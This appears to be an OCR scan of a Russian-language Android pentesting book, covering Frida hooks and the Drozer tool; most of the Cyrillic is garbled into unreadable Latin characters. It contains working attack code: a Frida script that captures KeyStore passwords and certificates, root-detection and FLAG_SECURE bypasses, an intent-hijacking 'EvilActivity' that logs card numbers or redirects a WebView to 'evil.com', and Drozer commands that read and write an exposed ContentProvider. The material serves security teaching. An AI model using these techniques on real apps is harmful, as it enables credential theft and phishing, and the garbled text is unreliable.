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Tor ke Ko MOXKHO nepenucarhb Tak, YToObl OH paboTan noa ynpaeienueMm Frida:

JavaScript

Java.perform(function () {
var FLAG_SECURE = 0x2000;
var Window = Java.use ("android.view.Window") ;
var setFlags = Window.setFlags;

setFlags.implementation = function (flags, mask) {
console.log("Disabling FLAG SECURE...");
flags &= ~FLAG SECURE;
setFlags.call (this, flags, mask);
}i
by

H ucnonw3oBaTh Tak:

$ frida -U -1 Hawm ckpunr.js -f uMma.nakera.npuiioXeHMs —-no-pause

MN3sneuyeHue SSL-ceptugukara npunoxeHus
u3 KeyStore

O Opurunan: Extracting Android KeyStores from apps (http://ceres-c.it/frida-android-
keystore/).

MHorue npunoxeHUs XpaHAT npHBaTHbIE AaHHble B KeyStore, cneuyanbHOM XpaHWIIH-
1€, MO3BOJIAIOLLEM 3aIMPPOBATh U HAZEHKHO 3aLIMTHTh JaHHbIE C MOMOLIBIO aNnapaTHo-
ro TEE-moayns cmapTdoHa (€Ciii TaKoi NPUCYTCTBYET).

Hanpsamyio u3Bneup 3TH AaHHble B OOJBLIMHCTBE ciy4aeB He yaactci. Ho BmecTo u3-
BIEYEHHUA MX MOXHO InepexBaTuTh. KeyStore uHMmeer MeToapl load (KeyStore.
LoadStoreParameter param) U load(InputStream stream, char(] password) AJS U3BJICYCHUA
JaHHBIX M3 XpaHWIHiia. Mbl MOXkeM nepenucaTbh Kol 3THX (GyHKuMi ¢ nomouisto Frida
W COXpaHUTH AaHHbIe Ha cBoeil MawuMHe. Kon ckpunTa ans Frida Beirnsaaur Tak:

| JavaScript

setTimeout (function() {
Java.perform(function () {

keyStoreLoadStream =
Java.use ('java.security.KeyStore') ['load'].overload('java.io.InputStream', '[C');

/* TlepemmceiBaeM ¢yHkumio Keystore.load (InputStream stream, char(]) password) */
keyStoreLoadStream.implementation = function(stream, charArray) {

/* Eciu nepBbi1 napamerp null - 3anyckaeM OpUTMHANbHYIO QyHKUuMO */
if (stream == null) ({
this.load(stream, charArray);
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return;

}

/* OrnpaBinseM coofueHne, 4TO QyHKUMS HamgeHa */
send({event: '+found'});

/* UuraeM InputStream B Gydep */
var hexString = readStreamToHex (stream);

/* OrnpaengeM Tun KeyStore */
send({event: '+type', certType: this.getType()}):

/* OrnpaBnseM napons */
send({event: '+pass', password: charArray});

/* OrnpaBndeM cepTudmMkaT B TEeKCTOBOM ¢opMe */
send ({event: '+write', cert: hexString}):

/* 3anyckaeM OpUIMHAJIbHYIO QyHKumo */
this.load(stream, charArray):;

})i
},0);

/* OyHKuMA Ons yTeHma InputStream M ero KoHeepTawm B ASCII */
function readStreamToHex (stream) {
var data = [];
var byteRead = stream.read():
while (byteRead != -1)
{
data.push( ('0' + (byteRead & OxFF).toString(16)).slice(-2) );
/* < binary to hex ---------———--- > */
byteRead = stream.read();

}
stream.close() ;
return data.join('');

KpoMe mnpuBeneHHOro Bbille CKpUNTa Takke MoHagoOuTcs ckpunt https:/gist.
github.com/ceres-c/cb3b69e53713d5ad9cf6aac9b8e895d2, paGoraroumii Ha [IIK
(MMEHHO eMy NMpHBEICHHBIA BBIIIE CLICHAPHHA OTIPAB/IAET JaHHbIE C MOMOILBIO PYHKLIMH
send).

O6xoa petexra root

O Opwurunan: Android Root Detection Bypass Using Objection and Frida Scripts
(https://medium.com/@GowthamR1/android-root-detection-bypass-using-
objection-and-frida-scripts-d681d30659a7).
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B penosuropun Frida yxe ectb roToBblii CKpMNT [UIS OTKIIOYEHHA MPOBEPKH Ha root
B npwiokeHud. OHaKo, eClIM OH He cpaboTaer, MpUIETCA MHCaTh CBOM COOCTBEHHBIH
ckpunt. Jnsg 3TOro HeoOXOAMMO JEKOMITWIMPOBAThH/I€3aCCeMOTMPOBATh MOJONBITHOE
NpWIOKEHHE H HaHTH B HEM (PYHKIIMIO, OTBETCTBEHHYIO 3a MPOBEPKY HAJIWYMs MpaB root
Ha ycTporicTBe. OOBIYHO OHA BBIMIAAUT NPHMEPHO Tak:

private static boolean detectmethods() {
String(] arrayOfString = new String[10];
arrayOfString[0] = "/system/app/Superuser.apk"”;
arrayOfString[l] = "/sbin/su";
arrayOfString[2] = "/system/bin/su";
arrayOfString[3] = "/system/xbin/su";
arrayOfString(4]) = "/data/local/xbin/su";
arrayOfString[5] = "/data/local/bin/su";
arrayOfString (6] = "/system/sd/xbin/su";

arrayOfString[7]) = "/system/bin/failsafe/su";
arrayOfString(8] = "/data/local/su";
arrayOfString(9] = "/su/bin/su";
int a = arrayOfString.length;
int b = 0;
while (a < b) {

if (new File(arrayOfStringl[a]).exists()) {

return true;
}
a+=1;
}
return false;

}

JlomycTuM, OHa pacrojiaraeTtcs BHYTPHM KJlacca roottest, KOTOPbIH Haxoaurtcs B Java-
nakeTe com. test.test. Bce, YTO HaM HyXHO caeNnaTh, — MOJMEHHUTH 3Ty GyHKLHIO Ha 3a-
rIyLIKy, KOTOpas Bceraa Bo3Bpaiuaer false:

Java.perform(function () {
var MainActivity = Java.use('com.test.test.roottest');
MainActivity.root.implementation = function (detectmethods) ({
console.log('Done: bypassed');
return false;
}i
}

Hanee ckapminBaeM Ham ckpunT Frida u 3amyckaem nop ee ynpaBieHHEM MPWIOKEHHUE:

$ frida -1 rootbypass.js -f uMsa.naxkera.npuioxeHus

O6xoa ynaxosuukos

O Opwurunan: How-to Guide: Defeating an Android Packer with FRIDA
(https://www.fortinet.com/blog/threat-research/defeating-an-android-packer-
with-frida.html).
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JonycTuM, y Hac €cTb BpPEIOHOCHOE NPHIOKEHHE C MOJO3PHTENBbHBIM (aiiioM BHYTpH
nakera ¥ HeOOJIBLIIMM CHIBHO 00QycLMPOBaHHBIM HcnoHAeMbIM dex-daiiom. AHanu3
JIoroB 3amycka logcat nokasbIBaeT, YTO NMPHJIOXKEHHE B Npolecce paboTel cO3JaeT H 3a-
rpyxaert eue oauH dex-¢aiin (3anakoBaHHBIA B jar), a 3TO 3Ha4UT, YTO, CKOpee BCETO,
nepBbld UCMONHAEMBIA (ai1 — 3TO BCero JMIb 3arpy3ydk (a TOYHee, YMaKOBIUHK).
A HaliieHHbIH paHee MOAO3PUTENBHBIA ¢ail1 — 3amM(pPOBaHHBIA KOI NPHIOKEHHS.
B xone 3arpy3kH NpHIOXKeHHs yNakoBLIMK AelMdpyeT daiin 1 3arpyxaer ero. Ho ects
oaHa npobiemMa: cpa3y mocne 3arpy3ku JemMdpoBaHHbIA ¢Qaiin yaansercs, U €ro HeBo3-
MO>XHO NPOaHAJIU3UPOBATh.

K COXAJIEHHIO, TEKOMITHWIAUUA U CTaTUYECKHA aHAIU3 YINaKOBUIHKA HHYETO HE Nal0T —
OH CJIMIIKOM CHJIBHO 06<bycuuponaﬂ H INOYTH HE MPHUIroA€H AJIA YTCHHI. OnHako 3aITyCK
TNPUJIOXKEHHUA 1101 YINpaBJICHHEM TpaCCPIPOBO‘lHOﬁ YTHJINTBI strace IMoOKa3bIBa€eT, YTo yhaa-
JICHUE NMPOUCXOAHUT C NMOMOLIbIO CHCTEMHOI'O BbI30BA unlink.

KoHeuyHas uaes cocTouT B ToM, YyToObl Nepeonpenenuts ¢ nomowpio Frida kon gpyHkumu
unlink Tak, YTOObI OHa HUYETO HE yJaiiiaa. B 3ToM ciydyae Mpl CMOXEM MPOCTO JOCTaTh
pacunpoBaHHblid dex-¢ain U3 ycTpoiicTBa M nmpoaHanu3HpoBaTh ero. Koa ¢yHkuuu
nepexsara uia Frida Beirnsaaur tax:

| JavaScript o - " l

console.log("[*] FRIDA started");
console.log("[*] skip native unlink function");

var unlinkPtr = Module.findExportByName (null, 'unlink');

Interceptor.replace (unlinkPtr, new NativeCallback(function () {
console.log("[*] unlink() encountered, skipping it.");
}, |int'1 1)

Bersoabr

Frida — oveHp MOLIHBI MHCTPYMEHT, C MOMOIIBIO KOTOPOTrO0 MOXHO CIENAaTh C MOA-
OMBbITHBIM MPHIOKEHHEM MPAKTHYECKH Bce 4TO yroaHo. Ho 3To MHCTpyMeHT He aas
BCeX, OH TpeOyeT 3HaHUA JavaScript, NOHMMaHUA MPUHUMIOB paboThl Android u nmpuo-
eHuit qns atoit OC.






rnaga 11

Drozer n apyrue UHCTpyMeHTHI

Drozer (https://github.com/mwrlabs/drozer) — eme oauH must have HHCTpyMeHT
B apceHaJie MeHTecTepa. OTO apMENCKUH IBEHLAPCKUHA HOXK AT BBIOJTHEHUS TUITHYHBIX
3ajay TECTUPOBAHMA Ha MPOHMKHOBeHHe. Drozer mo3BojseT NOJMYy4YUTh MHPOPMALHIO
0 MPHJIOXKEHHUH, 3aMyCTUTh €r0 aKTUBHOCTH, noakmountses k ContentProvider'y, ornpa-
BUTb COOOLUEHHUS CepBHCY — B 00LIEM, cieNaTh BCE, YTOOB! BBHITALIUTD M3 [IPHIOKCHHUS
HH(OpPMALIMIO WK 3aCTABUTh €ro ClIeNaTh TO, YTO HaM HY)XHO uepe3 cTaHOapTHeie API
M KaHaJIbl KOMMYHHKaLHH.

Ceroans Drozer cuuTaeTcs yCTapeBLIMM HHCTPYMEHTOM, HO OH 10 CHX MOp OTJIMYHO
crpaBiseTcs ¢ 3aayeit ObICTPOro nory4yeHuss HHGOpPMaLMH O MPHUIIOXKEHHH U ero caabbIx
MecTtax. PekoMeHayemblii crioco6 3amycka Drozer — ucnons3ys docker:

$ sudo docker run -it kengannonmwr/drozer docker

Drozer paboraer B CBA3KE C areHTOM, pabOTalOLIEM Ha YCTPOMCTBE MM IMYJIATOPE, CKa-
YaTh ero MOXHO mo cchuike https://github.com/mwrlabs/drozer/releases/download/
2.3.4/drozer-agent-2.3.4.apk. Ero cnenyet ycTaHOBUTB Ha YCTPOHCTBO C HCIOJIB30BaHH-
€M clieqylonlei KOMaHbl;

$ adb install drozer-agent-2.3.4.apk

[anee 3amyckaeM areHT U HaxkuMaeM Ha kHonky Embedded Server BHu3y skpaHa. Ilo-
clie 3TOTO K cepBepy MOXKHO MOAKIIOYUTHCS, niepeiias B koHconb docker (puc. 11.1):

$ drozer console connect --server IP-anpec-TesnedoHa

B kaudecTBe MOJONMBITHOTO TMpUIOXeHHS Oynem ucnonszoBath DIVA (Damn Insecure
and Vulnerable App, https://github.com/tjunxiang92/Android-Vulnerabilities/raw/
master/diva-beta.apk). APK He nmeeT unppoBoii noanucH, No3ToMy nepel yCTaHOBKOH
ero Heo6X0aMMO MOANKCATh, HarpUMep, ¢ noMolpio uber-apk-signer (https://github.com/
patrickfav/uber-apk-signer).
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Puc. 11.1. Koxconb Drozer

AKTUBHOCTU

TunuuHelii pabounii npouecc Drozer Buirngaut Tak. CHayana nonyyaeM MH$opmaLlMio
00 ycTaHOBJIEHHBIX MPUIIOKEHHAX!

dz> run app.package.list

Haxonum B crircke moaonbITHOE MPHUJIOXKEHUE H NOJTYyHaeM anbopmaumo O HEM:

dz> run app.package.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
Application Label: Diva
Process Name: jakhar.aseem.diva
Version: 1.0
Data Directory: /data/user/0/jakhar.aseem.diva
APK Path: /data/app/~~f-ZUZleCLc6Lvv3kYkaeww==/jakhar.aseem.diva-
GXTPCSZPceqRHtEWH73flg==/base.apk
UID: 10423
GID: [3003]
Shared Libraries: [/system/framework/android.test.base.jar,
/system/framework/org.apache.http.legacy.jar]
Shared User ID: null

Uses Permissions:
- android.permission.WRITE EXTERNAL STORAGE
- android.permission.READ EXTERNAL STORAGE
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- android.permission.INTERNET

- android.permission.ACCESS MEDIA LOCATION
Defines Permissions:

- None

3aTeM BBIICHACM, KAKHE€ KOMIMOHEHTHI MOX>XHO IIOINBITATBCA HCMOJIL30BATh /I 3KCILTya-
TAaLMH:

dz> run app.package.attacksurface jakhar.aseem.diva
Attack Surface:
3 activities exported
0 broadcast receivers exported
1 content providers exported
0 services exported
is debuggable

ObpaliaeM BHHMaHHe, YTO B MpPHIOKEHHH BKIIOYeH Qnar omnaaku. [anee nomydyaem
CMHUCOK aKTHBHOCTEH:

dz> run app.activity.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
jakhar.aseem.diva.MainActivity
Permission: null
jakhar.aseem.diva.APICredsActivity
Permission: null
jakhar.aseem.diva.APICreds2Activity
Permission: null

[IpobyeM HX 3amycTHTB:

dz> run app.activity.start --component jakhar.aseem.diva <uMaA_aKTMBHOCTM>

CMbICT 3TOro JEHCTBHA B TOM, YTOOBI MPOBEPHTH, HE TOPHAT JIH HApYyXKy BHYTPEHHHE
AKTHBHOCTH MPWJIOXKEHHUS, KOTOPble HE JODKHBI ObITh JOCTYINHBI H3BHE. Bo3MoXHO, 3TH
aKTHBHOCTH coiepxaT KoHGHIeHIHaNbHY10 HHpopMalmio. [Iposepsem:

dz> run app.activity.start --component jakhar.aseem.diva
jakhar.aseem.diva.APICredsActivity ’

JleCTBHUTENBHO, AaKTHBHOCTD APICredsActivity COAEPXKMT HekMit kmo4 APl uma nons3o-
BaTeNd M napoib. AKTMBHOCTb APICreds2Activity COAEPXKHMT OKHO C TMOJNEM Al BBOAA
nHH-KoZa. O6e 3TH aKTUBHOCTH AOJDKHBI MCIOJIBb30BAaTHCA TOJNIBKO BHYTPH NPUIOKEHHUA,
HO MO «HEBHMMATENBHOCTH» pa3paboTyuMk 3a6bU1 caenaTh HMX HEIKCIOPTHUPYEMBIMH
(android:exported="false").

EcCnu AKTUBHOCTH HE 3AMNYCKAIOTCS

HauuHas ¢ Android 9 3anyck aktuBHocTen B poHe 3anpeLueH. Moatomy, 4tobel Drozer pa-
6oTan koppekTHO, crneauTte 3a Tem, YTobbl OH Bceraa 6bin Ha 3kpaHe, a 3kpaH cmapTgoHa
6bin BKNIOYEH.
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TTepexsaT uHTeHTOB

Ewe Gonee uHTEpECHas cUTyalus BO3HMKAET, KOTrJa NMPOrpaMMHUCT He TOJIBKO 3a0bIBaeT
clenaTh BHYTPEHHIOK aKTHBHOCTb MPHJIOXKEHHUS HEIKCIOPTUPYEMOH, HO U paboTaer
C Hell He HanpsAMyIO, a UCNOJb3Ys LIMPOKOBELIATENbHbIE HHTEHTHI. JJomycTHM, B mpuio-
JKEHHH ecTb TakoH KOJ, KOTOpbI HCMONB3YeT IIHPOKOBELIATENBHBIA HMHTEHT
com.example .ACTION, YTOOBI 3aIlyCTHTh aKTUBHOCTH (MepelaB €i npu 3ToM KOHGHIEHLHU-
allbHbIE JaHHbBIE):

java 1

Intent intent = new Intent ("com.example.ACTION");
intent.putExtra("credit card number", num.getText ().toString());
intent.putExtra("holder name", name.getText ().toString());
startActivity(intent);

[Tpo6nema 3Toro koaa B TOM, 4YTO MOOOH KeTaOLMHA MOXKET CO3AaTb aKTMBHOCTH, pea-
THPYIOLIYIO Ha MHTEHT com.example.ACTION, M MEpEXBaTUTh NepedaHHble eif naHHble. Ha-
TIpUMep, MbI MOX<EM HamMcaTh NMPHIOKEHHE C TAKOH aKTUBHOCTHIO B MaHUbecTe:

xml

<activity android:name=".EvilActivity">
<intent-filter android:priority="999">
<action android:name="com.example.ACTION" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>

B koa 3Toii akTHBHOCTH J00aBUM JIOTHPOBAHHUE MNEPEXBAYCHHBIX KOH¢HHCHHH3HBHHX
JaHHBIX:

java

Log.d("evil", "Number: " + getIntent().getStringExtra("credit card number"));
Log.d("evil", "Holder: " + getlntent().getStringExtra("holder name"));

Byansa! Ho ¢ noMomsto Drozer nponenars Takoii Tprok ellie npoLie:

dz> run app.broadcast.sniff --action com.example.ACTION

Boo0uie, HHTEHTBl — CTaHAAPTHBIH coco6 KOMMYHHKaLMH B Android kak BHyTpH npu-
JIOXKEHHUs, TaK U 3a ero mpeaenamu. X MOXXHO HMCMoOnb30BaTh, YTOOBI MepeaaBaTh WH-
¢dbopMaLMIO MeXy aKTUBHOCTAMH, CEPBUCAMHU U JIIOOBIMH IPYTHMH KOMMOHEHTaMH NpH-
noxxeHus. UHTEHTBI MoryT OBITh afpecOBaHbl KOHKPETHOMY KOMIIOHEHTY WIH OBITh
LIMpOKOBeLaTenbHbIMU. [locnenHue MoryT ObITh NMepexBayeHbl JTIOOBIM APYTHM MPUIO-
»KEHHeM, KaK B IIpUMepe BhILIE.
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TTepexsat Bo3Bpawaemoro sHaveHus

B Android akTHBHOCTH MOryT BO3BpallaTh 3Ha4€HUsA. ITa BO3MOXXHOCTb HUCIONB3YeTCH,
Hampumep, B UHTep(erice BbiOOpa dpoTorpaduu Ans oTnpaBkH Apyry Wi B HHTepdeiice
BbI6Opa ¢aiina. [IpunoxkeHre MOXeT 3aIyCTHTh CBOX aKTHBHOCTh WJIH aKTHBHOCTD JIIO-
6oro apyroro npuiaokeHHs (C MOMOLIBIO LTMPOKOBEILATENBHOIO HHTEHTA), YTOOBI MOJTY-
4YUTh OT Hee kakoe-TH60 3HaueHHe. M ecii nmpunoxkeHHe HCMoNb3yeT IMPOKOBeLaTe b-
HbIH MHTEHT [UIA 3alycka COOCTBEHHOH aKTHBHOCTH, OymyT npobGnemsl. Bosbmem,
K MPUMepY, CIIEAYIOLMH KO

{ java

startActivityForResult (new Intent ("com.example.PICK"), 1337);

protected void onActivityResult (int requestCode, int resultCode, Intent data) {
super.onActivityResult (requestCode, resultCode, data);
if (requestCode == 1337 && resultCode == 1) {
webView.loadUrl (data.getStringExtra("url"), getAuthHeaders());

3T0 KOJ 3aITyCKa aKTHBHOCTH C MOMOLIBIO HHTEHTA com.example.PICK. 3HaY€HHE, BO3Bpa-
ILIEHHOE 3TOH aKTUBHOCTBIO, Hcnonb3yeTcs Kak URL st oTkphiTHA BeO-CTpaHHLIBI BHYT-
pu WebView. OueBHAHO, YTO B JaHHOM NPUMEpPE MHTEHT con. example . PICK HCTIOIb3Y€ETCS
A1 3amycka COOCTBEHHOW aKTHBHOCTH MPWJIOXKEHHSA, OAHAKO, KaK M B MpeablAyLIEM
npumepe, pa3paboOTYMK HMCMONB30BaN Ul 3aMycka LIMPOKOBELIATENbHbI WHTEHT.
[ToaToMy MBI MOXXEM CO3AaTh COOCTBEHHYIO aKTHBHOCTb M HMCIOJIb30BaTh €€ VIS TOrO,
4TOOBI NEPEHANPABUTH NPUIOKEHHE Ha QULIMHIOBbIH BeO-CalT:

xmi

<activity android:name=".EvilActivity">
<intent-filter android:priority="999">
<action android:name="com.victim.PICK" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>

java

protected void onCreate (Bundle savedInstanceState) {
super.onCreate (savedInstanceState) ;
setResult (1, new Intent().putExtra("url", "http://evil.com/"));
finish();
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IlInpokoBewaTenbHbIE HHTEHTHI TAKOKE HCMONB3YIOTCA NMPHIOKEHHSAMH 11 BbIOOpa daii-
JoB. B 3toM ciydae ¢ moMolbio GHUIMHIOBOH aKTHBHOCTH MOXXHO BBITIOJIHUTH aTaky
Tuna directory traversal.

Content Provider

Content Provider — 3To crneuManbHblii KOMMOHEHT NMPWIOXKEHHA, OTBETCTBEHHbIH 3a
XpaHEHHE JaHHBIX M MPEJOCTaBICHHE AOCTYNAa K 3THM JaHHBIM JAPYTHM MPHJIOKEHHUAM.
B craprie BpemeHa (a0 Android 4.0) pazpab6otuuku yacto aenanu ContentProvider'st ot-
KPBITBIMH U1 JOCTyna mo6biM npuioxeHusM. Hanpumep, oduumansHoe npuioxxeHue
Gmail umeno otkpeiTeiii ContentProvider, nmpenoctrapnsiommii 4OCTYN K CIUCKY MHCEM.
3T0 NO3BONANO MOOOMY CTOPOHHEMY MPUIIOKEHHIO MOTYYHTh CITMCOK MOCIIEAHHX MHCEM
Gmail myTreM npsAMOro YreHMs JaHHBIX U3 OQHLIHAIIBHOTO MPUIIOKEHHS.

Cel"OIlHﬂ TaKoM noaxoa CYUTacTCcsa HauBHBIM H He0e30MacHbIM. H03TOMy BCE€, UTO Ha Cc-
FOIHALIHMEA JEeHb MPEAOCTaBIAET HapyXKy npwiokeHHe Gmail, — 3To ob1ee kKonuuect-
BO HEIMPOYHTAHHBIX NMHCEM, H NAXKE dTa PIH(i)OpMaLlPIﬂ 3alMIICHA CNIELHAJIBHBIM pa3pe-
meHueM. B 3tom nerko yﬁe).IHTBCH, €CJIH TMOMNBITaTBCA TIPOYHUTATL AAHHBIC IO URI
content://com.google.android.gmail.provider:

dz> run app.provider.query content://com.google.android.gmail.provider/

Permission Denial: opening provider com.android.email.provider.EmailProvider from
ProcessRecord{5ae20cc 15638:com.mwr.dz:remote/u0ad22} (pid=15638, uid=10422) requires
com.google.android.gm.email.permission.ACCESS_PROVIDER or
com.google.android.gm.email.permission.ACCESS_PROVIDER

Ho B npyrux mpuioxeHusx Bce MoxeT ObITh MHaue. BepHemcs k mpunoxenuto DIVA
U nonpo6yeM noxy4uTbh HHpopmaumio o ero ContentProvider'ax:

dz> run app.provider.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
Authority: jakhar.aseem.diva.provider.notesprovider

Read Permission: null
Write Permission: null
Content Provider: jakhar.aseem.diva.NotesProvider
Multiprocess Allowed: False
Grant Uri Permissions: False

BunHo, uyTo npunoxeHue UMeeT oAMH HMKak He 3auuiueHHbld ContentProvider. Ilomy-
4yuM HHopMaluio 06 3kcropTupyeMsix ContentProvider'om URI:

dz> run scanner.provider.finduris -a jakhar.aseem.diva

Scanning jakhar.aseem.diva...

Able to Query content://jakhar.aseem.diva.provider.notesprovider/notes/
Unable to Query content://jakhar.aseem.diva.provider.notesprovider
Unable to Query content://jakhar.aseem.diva.provider.notesprovider/

Able to Query content://jakhar.aseem.diva.provider.notesprovider/notes

Accessible content URIs:
content://jakhar.aseem.diva.provider.notesprovider/notes/
content://jakhar.aseem.diva.provider.notesprovider/notes
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[Tonpo6yem npouurars nHpopMawmio no npuseaeHHsM URI:

dz> run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/notes/
id | title | note |

I

|5 | Exercise | Alternate days running |
| 4 | Expense | Spent too much on home theater

| 6 | Weekend | b333333333333r |
| 3 | holiday | Either Goa or Amsterdam |
| 2 | home | Buy toys for baby, Order dinner |
|1 | office | 10 Meetings. 5 Calls. Lunch with CEO |

ContentProvider, no cyTH, oTKkpbIBaeT NpAMoH J0CTym k 6a3ze naHHbIX mpuioxeHus. [To-

3TOMY, €CJIH OH OTKPBIT 11 YTCHHUA H 3alIMCH, MBI JICTKO MOXEM ,lIO6aBPlTL B Hero cober-
BC€HHBIC NAHHBIC!:

dz> run app.provider.insert content://jakhar.aseem.diva.provider.notesprovider/notes
--integer _id 7
--string title bhv.ru
--string note 'Hi from ]['

dz> run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/notes/

| 7 | bhv.ru | Hi from ][ |

B psane ciydaeB Bo3MOXXHO BbINOAHHTh SQL-uHBbekumio. Drozer cmoco6eH aBroMaTuye-
CKH NIPOBEPUTH NMPHIOKEHHE HA 3TY YA3BUMOCTH!

dz> run scanner.provider.injection -a com.example.app

Hekortopblie npuioxxenus ucnonssyiot ContentProvider'st 111 oTKpbITHA AocTyna k dai-
J1aM CBOEro NpHBaTHOro KaTajiora. B 3ToM ciyyae MHOrJa BO3MOXXHO BBITIOJIHMTB aTaKy
directory traversal. Drozer no3Bosser NpoBEpUTh H 3TOT BapHAHT:

dz> run scanner.provider.traversal -a com.example.app

Cepsucur

Ee oauH T™MN KOMMOHEHTOB NMpuiokeHHs B Android — cepBucel. Yalle Bcero oHM uc-
NOJIB3YIOTCS [UIA BHINOJMIHEHMA paboThl B poHe U B coBpeMeHHBIX Bepcuax Android o6s-
3aHbl UIMETh UKOHKY B CTPOKE COCTOSAHHA (MHa4ye CHCTeMa YOBEeT cepBHC Yepe3 5 MHHYT).
V npunoxxenus DIVA HeT cepBHCOB, 3TO JIETKO MPOBEPUTH, HCMOIB3YS TAKYIO KOMaHIY:

dz> run app.service.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
No exported services.

Ho paxe npuaoxxeHHs ¢ TOpYallMM Hapy>Xy CEPBHCOM 3KCILTyaTHPOBAaTh HE TaK MPOCTO.
CHayana HeoOXoauMo Au3acceMOIMPOBaTh/IEKOMIWIMPOBATH MPUIOKEHHE, MPOAHAH-
3MpOBaTh KOJA CEpBHCA, a 3aTeM MOMpo6OBaTh MOCHATh €My COOOLIEHHE, KOTOpPOEe OH
noiimer ¥ obpaboraer. Hanpumep, THNHYHBIA NpUMEP OTNPaBKH COOOLIEHHS CEpPBHCY
MOJKET BBITIAAETh TaK:
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dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg
6345 7452 1 --extra string com.mwr.example.sieve.PASSWORD "abcdabcdabcdabced" --bundle-
as-obj

Apyrue so3moxHocTU

Kpartko npoiineMcs mo apyrum Bo3MO>KHOCTAM Drozer. Otob6pakeHne MaHudecra npu-
JIOXKEHHA:

dz> run app.package.manifest com.mwr.example.sieve

IMouck npunoxxeHu#, ob1agarolMX yKa3aHHBIMH NIPUBUIETHAMH:

dz> run app.package.list -p android,permission.INSTALL PACKAGES

IMouck npunoxxenui, criocobHbIX 0ToOpaxaTs (aiiisl ¢ ykazaHHBIM mimetype:

dz> run app.activity.forintent --action android.intent.action.VIEW --mimetype
application/pdf

ITouck Bcex l'[pHJ'lO)KﬁHHﬁ, CIMOCOOHBIX OTKpPbIBATbh CCHUIIKH!

dz> run scanner.activity.browsable

OtobpaxkeHHe CIMCKa HATUBHBIX GUOMHOTEK MPUIOXKEHHUS:

dz> run app.package.native jakhar.aseem.diva

OTl'IpaBKa IIHPOKOBEUIATC/IBHBIX HHTEHTOB!

dz> run app.broadcast.send --action com.exmpla.PICK --extra string url https://example.com

Opyrue yassumoctu

Kakue eme npobneMsl ¥ yS3BUMOCTH MOXHO HaiTH B mpuioxeHusax? Mx MHoxecTBo,
aBTopel pabotel Security Code Smells in Android ICC (https:/arxiv.org/pdf/
1811.12713.pdf) coctaBwim noapoGHbIH cniMcok Takux npodiaem. Ouu B3sM 700 oTKpHI-
ThIX npuioxeHui u3 penosuropus F-Droid (https:/f-droid.org/en/) u npoanannusuposa-
M HMX C T[oMouplo cneudansHoro HMHCTpymeHTa AndroidLintSecurityChecks
(https://github.com/pgadient/AndroidLintSecurityChecks). Bce oOHapyxeHHbIe npo-
611eMbI CKOMITOHOBaHBI B 12 Kareropwuii:

O SMO1: Persisted Dynamic Permission. B Android ecTb MexaHH3M, MO3BOJSAIOLIMIA
MpeIOCTaBUTh JPYroMy NPHIOXKEHHIO BPEMEHHBIH JocTyn k kakomy-nmu6o URI cBo-
ero ContentProvider’a. 31o nenaercs ¢ MOMOIIBKO METOJIa Context.grantUriPermission ().
Ecnn npunoxeHue BBI3BIBAET €ro, HO HE BBI3BIBAET Context.revokeUriPermission(),
4YTOOBI OTO3BATh AOCTYIl, — €CTh MPOOJIEMBI.

O SM02: Custom Scheme Channel. Jlio60e npuiokeHHE MOXKET 3aperucTpUpOBAaTh CO0-
ctBeHHy10 URI-cxeMy, Takyro Kak myapp://, BHE 3aBUCHMOCTH OT TOr'0, HCTIOJIB3YET JIU
Takylo cxeMy Japyroe npuinoxeHue. Kak crnencteue, nepechiiaTh BaXKHbl€ JaHHBIE,
ucnonb3ys kactomHbie URI-cxeMmbl, kpaliHe Hebe3omacHo.
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O SMO03: Incorrect Protection Level. B Android ects cucteMa paspeieHuid, U moboe
MPWIOXKEHHE MOXET CO3/1aTh CBOE COOCTBEHHOE pa3pelleHHe MU JOCTyNa K CBOMM
naHHbIM. Ho ectb mpobnema: ecnu yka3aTh HENpaBWIbHBIH ypOBEHb 3allUMTHI pa3pe-
weHus (protection level), oHo MoxeT He cpaboTate. Ecnu pa3zpaboTuuk xouer, 4ToObI
NOJIB30BaTENb BHAEN JHAIOr 3alpoca pa3pellieHHH, OH JO/DKEH HMCIOJb30BaTh Ypo-
BEeHb 3alMTHI dangerous WM siganture, €ClId JaHHOE pa3pelieHHe AODKHO MOydaTh
TONBKO MPUIIOKEHHE C TOH e LHU(PPOBOi MOAMHUCHIO.

O SMO04: Unauthorized Intent. Jlio6oe npunoxenne B Android MoxeT 3aperHCTpHpo-
BaTh ceOs B kauecTBe oOpaboTuMka onpelesieHHbIX THIOB MHTeHTOB (intent). Ilo
YMOJT4aHHIO 3TOT 00paboTuHK OYAET OTKPHIT BCEMY MHpY, HO €r0O MOXKHO 3alIUTHTh
C MOMOLIBIO CUCTEMBI pa3peLlIeHHH ¥ CTPOTroi BaJIWIALMK BXOAHBIX JaHHBIX.

3 SMO5: Sticky Broadcast. Jlioboe npuiioXkeHHe MOXET MociaTh APYroMy NMPUIIOKEHHIO
MHTEHT. bonee Toro, OHO MOXET MOCnaTh LIMPOKOBEINATENBHBIN UHTEHT Cpa3y BCEM
NPWIOXKEHHUAM, U OH OyzeT 00paboTaH MepBBIM MPUIOKEHHEM, CIIOCOOHBIM €ro npu-
HATh. Ho ecTh Taioke BOZMOXKHOCTB MOCJIaTh LIMPOKOBEINATeNbHBIN sticky-intent, ko-
TOpBIA Nocie 00pabGoTKH OOHHUM MPHIIOKEHHEM Bce paBHO OyZAeT AOCTaBleH APYrHM
npuiIoKeHUsAM. UToObl 3TOro He MPOMCXOAUIIO, HE CTOUT MCIONIB30BaTh TAKUE UHTEH-
Thl, a LIMPOKOBEIATENIbHbIE HHTEHTBI JTy4Ille HE UCTIONB30BaTh BOOOILE.

O SMO06: Slack WebViewClient. KomnoHenT WebView Mo3BONAET NPHIOKEHUAM IMOKa-
3pIBaTh BEO-CTpaHHLBI BHYTpH cBoero MHTepdeiica. [lo yMomyaHHio OH HHMKak He
¢uneTpyer ortkpbiBaemble URL, yeM MOXXHO BOCHONB30BAaThCA, HAmNpHUMeEp, A
¢ummnra. PazpaborurkaM cTout aub60 MCHONMB30BaTH OENbIif CIUCOK apecoB, MO0
BBITIOJTHATE NMpOBepKy ¢ nomoliusio SafetyNet API.

